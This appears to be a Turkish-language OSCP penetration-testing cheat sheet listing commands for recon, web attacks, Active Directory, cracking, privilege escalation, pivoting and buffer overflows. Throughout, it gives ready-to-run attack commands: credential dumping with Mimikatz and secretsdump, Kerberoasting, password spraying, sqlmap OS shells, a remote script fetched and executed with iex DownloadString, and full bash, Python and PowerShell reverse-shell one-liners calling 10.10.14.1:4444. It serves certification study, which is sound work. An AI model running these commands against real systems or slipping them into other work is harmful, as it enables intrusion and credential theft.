OSCP Ultimate Reference Guide
🎯 200+ araç | Her komut açıklamalı | OSCP PEN-200 müfredatına tam uyum
🔍 Reconnaissance & Enumeration
25 toolsNmap
nmap -sC -sV -oA hedef_adi 10.10.10.1nmap -p- --min-rate 10000 10.10.10.1nmap -sU --top-ports 20 10.10.10.1nmap --script vuln -p 80,443,445 10.10.10.1Rustscan
rustscan -a 10.10.10.1 -- -sC -sVrustscan -a 10.10.10.1 -- -p- -AMasscan
masscan -p1-10000 --rate=10000 10.10.10.0/24masscan -p80,443,445,3389,22,21 --rate=5000 -oJ output.json 10.10.10.1Naabu
naabu -host 10.10.10.1naabu -host 10.10.10.1 -p - -verifySubfinder
subfinder -d hedef.com -all -o subs.txtsubfinder -dL domains.txt -recursive -o all_subs.txtAmass
amass enum -passive -d hedef.com -o subs.txtamass enum -active -brute -w wordlist.txt -d hedef.comAssetfinder
assetfinder hedef.comDNSx
dnsx -l domains.txt -a -resp -o resolved.txtdnsx -l subs.txt -axfr -ns 10.10.10.1theHarvester
theHarvester -d hedef.com -b google,bing,linkedin -l 500whois
whois hedef.comwhois IP_ADRESI | grep -i "orgname\|country"Dig
dig AXFR @ns.hedef.com hedef.comdig ANY hedef.comFierce
fierce --domain hedef.com --subdomains wordlist.txtHTTPx
httpx -l subs.txt -title -tech-detect -status-code -o live.txt🎯 Web Exploitation
28 toolsFFUF
ffuf -u http://hedef.com/FUZZ -w /usr/share/wordlists/dirb/common.txtffuf -u http://hedef.com -H "Host: FUZZ.hedef.com" -w subdomains.txtffuf -u http://hedef.com/page?FUZZ=test -w params.txtffuf -u http://hedef.com/FUZZ -w wordlist.txt -recursion -recursion-depth 3Gobuster
gobuster dir -u http://hedef.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmlgobuster dns -d hedef.com -w subdomains.txtgobuster vhost -u http://hedef.com -w vhosts.txtFeroxbuster
feroxbuster -u http://hedef.com -w wordlist.txt -x php,html,txtferoxbuster -u http://hedef.com -w wordlist.txt --extract-linksDirsearch
dirsearch -u http://hedef.com -e php,html,txt -x 404SQLmap
sqlmap -u "http://hedef.com/page?id=1" --dbssqlmap -u "http://hedef.com/page?id=1" -D database --tables --dumpsqlmap -u "http://hedef.com" --os-shellNikto
nikto -h http://hedef.com -ssl -Format html -o nikto_report.htmlnikto -h http://hedef.com -Tuning 123456789WPScan
wpscan --url http://hedef.com --enumerate vp,vt,uwpscan --url http://hedef.com --passwords rockyou.txt --usernames adminBurp Suite
# Proxy: 127.0.0.1:8080# Request'leri Repeater'a gönder, parametreleri değiştir# Positions belirle, Payload set et, Attack başlatNuclei
nuclei -u http://hedef.com -t ~/nuclei-templates/nuclei -u http://hedef.com -severity critical,high🪟 SMB & Windows Networks
12 toolsNetExec (nxc)
netexec smb 10.10.10.1 -u user -p pass --sharesnetexec smb 10.10.10.1 -u '' -p '' --sharesnetexec smb 10.10.10.1 -u users.txt -p 'Password123' --continue-on-successnetexec winrm 10.10.10.1 -u admin -p pass -x 'whoami'enum4linux-ng
enum4linux-ng -A 10.10.10.1enum4linux-ng -U 10.10.10.1enum4linux-ng -S 10.10.10.1smbclient
smbclient -L //10.10.10.1 -Nsmbclient //10.10.10.1/share -U userSMBMap
smbmap -H 10.10.10.1 -u guest -p ""smbmap -H 10.10.10.1 -u user -p pass -r share🏛️ Active Directory
22 tools📌 OSCP AD Attack Vectors
Kerberoasting | AS-REP Roast | Pass the Hash | Pass the Ticket | DCSync | ACL Abuse | GPO Abuse | PrintNightmare | ZeroLogon | Shadow Credentials | RBCD | S4U2Self Abuse
BloodHound
SharpHound.exe -c All --outputdirectory C:\Tempbloodhound-python -u user -p pass -ns 10.10.10.1 -d domain.local -c Allsudo neo4j consoleImpacket
impacket-secretsdump domain/user:pass@10.10.10.1impacket-GetUserSPNs domain/user:pass@10.10.10.1 -requestimpacket-psexec domain/user:pass@10.10.10.1impacket-GetNPUsers domain.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txtKerbrute
kerbrute userenum -d domain.local --dc 10.10.10.1 users.txtkerbrute passwordspray -d domain.local users.txt "Password123"Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt.\Rubeus.exe asreproast /outfile:hashes.txt.\Rubeus.exe ptt /ticket:ticket.kirbiMimikatz
privilege::debugsekurlsa::logonpasswordslsadump::samlsadump::dcsync /user:krbtgt🔐 Passwords & Cracking
18 toolsHashcat
hashcat -m 0 -a 0 hash.txt rockyou.txthashcat -m 1000 hash.txt rockyou.txthashcat -m 5600 hash.txt rockyou.txthashcat -m 13100 hash.txt rockyou.txtJohn the Ripper
john --wordlist=rockyou.txt hash.txtjohn --rules --wordlist=rockyou.txt hash.txtHydra
hydra -l admin -P rockyou.txt ssh://10.10.10.1hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=error"CeWL
cewl http://hedef.com -m 6 -w custom.txt🐧 Linux Privilege Escalation
16 tools📌 Linux PrivEsc Vectors
SUID/SGID | Sudo misconfig | Capabilities | Cron jobs | Writable files | Kernel exploits | PATH hijacking | Docker/LXD escape | NFS root squashing | LD_PRELOAD
LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/download/20241215/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -apspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -tLinux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
./linux-exploit-suggester.sh🪟 Windows Privilege Escalation
14 tools📌 Windows PrivEsc Vectors
Potato attacks (Juicy, Sweet, Rogue) | Unquoted service paths | Insecure service permissions | AlwaysInstallElevated | Registry autoruns | DLL hijacking | Token impersonation | Kernel exploits
WinPEAS
.\winpeas.exeiex (New-Object Net.WebClient).DownloadString('http://10.10.14.1/winpeas.ps1')PowerUp
Import-Module .\PowerUp.ps1; Invoke-AllChecksInstall-ServiceBinary -ServiceName vuln_servicePotato Attacks
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *SweetPotato.exe -p whoami🔄 Pivoting & Tunneling
12 toolsLigolo-ng
sudo ip tuntap add dev ligolo mode tun
sudo ip link set ligolo up
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:9999./agent -connect 10.10.14.1:9999 -ignore-certChisel
chisel server -p 8000 --reversechisel client 10.10.14.1:8000 R:socksProxyChains
# /etc/proxychains4.conf: socks5 127.0.0.1 1080proxychains nmap -sT -Pn 10.0.1.0/24SSH Tunneling
ssh -L 8080:target:80 user@jumpboxssh -R 4444:localhost:4444 kali@10.10.14.1🐚 Reverse Shells & Stabilization
15 toolsReverse Shell One-Liners
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"PTY Stabilization
python3 -c 'import pty;pty.spawn("/bin/bash")'stty raw -echo; fg
export TERM=xterm
stty rows 50 cols 150💥 Buffer Overflow (OSCP BoF)
10 tools📌 OSCP BoF 7 Adım Metodolojisi
1. Fuzzing → 2. Crash Replication → 3. EIP Offset → 4. Control EIP → 5. Bad Characters → 6. Find JMP ESP → 7. Exploit + Shellcode
Mona.py
!mona config -set workingfolder C:\logs!mona findmsp -distance 3000!mona bytearray -b "\x00\x0a\x0d"
!mona compare -f C:\logs\bytearray.bin -a ESP_addressmsfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f python -v shellcode☁️ Cloud Pentesting
10 toolsAWS CLI
aws configureaws s3 ls🔬 Forensics & OSINT
8 toolsExifTool
exiftool image.jpgBinwalk
binwalk -e dosya.bin📄 OSCP Reporting
8 toolsOSERT Template
git clone https://github.com/noraj/OSCP-Exam-Report-Template-Markdownpandoc report.md -o OSCP-OS-XXXXX-Exam-Report.pdf --from markdown+yaml_metadata_block+raw_html --template eisvogel --table-of-contents --number-sections📋 OSCP Sınav Metodolojisi — 7 Adım
- 1. External Recon (OSINT)
- 2. Port Scanning (Rustscan + Nmap)
- 3. Service Enumeration (NetExec, enum4linux, gobuster)
- 4. Vulnerability Research (Searchsploit, CVE DB)
- 5. Initial Access (Exploit, brute force, web shell)
- 6. Privilege Escalation (LinPEAS/WinPEAS + manual)
- 7. Lateral Movement / AD (BloodHound, Impacket)
💡 OSCP İpuçları
• her zaman local.txt ve proof.txt kanıtlarını screen al ve yedekle
• Enumeration her şeydir — atlama, derinlemesine yap
• BoF için 30 dakikadan fazla harcama, takılırsan diğer makinelere geç
• Metasploit sadece 1 makine için kullan (sınırlı)
• AD setinde BloodHound ile haritayı çıkar, en kısa yolu bul
• Raporlamayı sınav anında yap, unutma